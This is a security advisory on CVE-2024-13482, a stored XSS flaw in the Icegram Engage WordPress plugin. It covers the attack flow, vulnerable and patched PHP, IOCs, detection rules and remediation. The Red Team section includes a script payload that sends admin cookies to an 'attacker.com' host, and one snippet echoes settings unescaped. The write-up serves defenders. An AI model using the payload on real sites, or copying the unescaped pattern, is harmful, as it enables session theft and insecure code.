CVE-2024-13482

Executive Summary

CVE-2024-13482 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Icegram Engage WordPress plugin, versions prior to 3.1.32. This flaw allows high-privilege users, such as administrators, to inject malicious scripts into plugin settings. The injected scripts are stored and executed when the settings page is viewed, even in multisite environments where the unfiltered_html capability is disallowed. This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server software.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from the repository. No supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not assigned; estimated based on vector)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Admin viewing settings)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium (due to high privileges required but potential for stored XSS in multisite)

Deep Dive & Mechanics

The vulnerability exists in the settings handling of the Icegram Engage plugin. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database. When an administrator saves settings containing malicious JavaScript, the script is stored and later rendered without proper escaping on the settings page. This allows the attacker to execute arbitrary JavaScript in the context of the admin's browser session.

The attack flow:

1. An attacker with admin privileges navigates to the plugin settings page.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable setting field.
3. The plugin stores the payload without sanitization.
4. When any admin (including the attacker) views the settings page, the payload executes.

In a multisite environment, even if unfiltered_html is disallowed, the stored XSS can still execute because the payload is stored in the database and rendered without filtering.

Vulnerable vs. Patched Code

Vulnerable Code (before 3.1.32):

// In settings page rendering
echo "<input type='text' name='icegram_setting' value='" . $setting_value . "' />";

The $setting_value is not escaped.

Patched Code (3.1.32):

// In settings page rendering
echo "<input type='text' name='icegram_setting' value='" . esc_attr( $setting_value ) . "' />";

The esc_attr() function is used to escape the value.

Exploitation & Lab Setup

Red Team

1. Prerequisites: Admin access to a WordPress site with Icegram Engage plugin version < 3.1.32.
2. Steps:
   • Navigate to the plugin settings page (e.g., /wp-admin/admin.php?page=icegram-engage-settings).
   • Locate a vulnerable input field (e.g., a text field for custom CSS or JavaScript).
   • Inject payload: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   • Save the settings.
   • When any admin views the settings page, the payload executes, exfiltrating cookies.

Blue Team

1. Detection: Monitor for unusual changes to plugin settings, especially from admin accounts.
2. Prevention: Ensure the plugin is updated to version 3.1.32 or later.
3. Response: If exploitation is suspected, review admin activity logs for unauthorized settings changes and rotate affected admin credentials.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/icegram-engage/icegram-engage.php (check version)
• Database: Look for stored XSS payloads in the wp_options table under icegram_engage_settings.
• Network: Outbound connections to attacker-controlled domains from admin browsers.
• Logs: WordPress admin activity logs showing changes to plugin settings.

Detection Engineering

YARA Rule

rule icegram_engage_stored_xss {
    meta:
        description = "Detects stored XSS payloads in Icegram Engage plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13482"
    strings:
        $payload = /<script[^>]*>.*<\/script>/i
    condition:
        $payload
}

Sigma Rule

title: Icegram Engage Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in Icegram Engage plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        Plugin: "icegram-engage"
        Action: "update_option"
        OptionName: "icegram_engage_settings"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Icegram Engage Stored XSS Exfiltration"; flow:to_server,established; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update the Icegram Engage plugin to version 3.1.32 or later.
2. Workaround: If immediate update is not possible, restrict admin access to trusted users only and disable the plugin in multisite environments.
3. Long-term: Implement input validation and output escaping for all plugin settings. Use WordPress functions like esc_attr(), esc_html(), and wp_kses().

Valters IT
Securing Digital Frontiers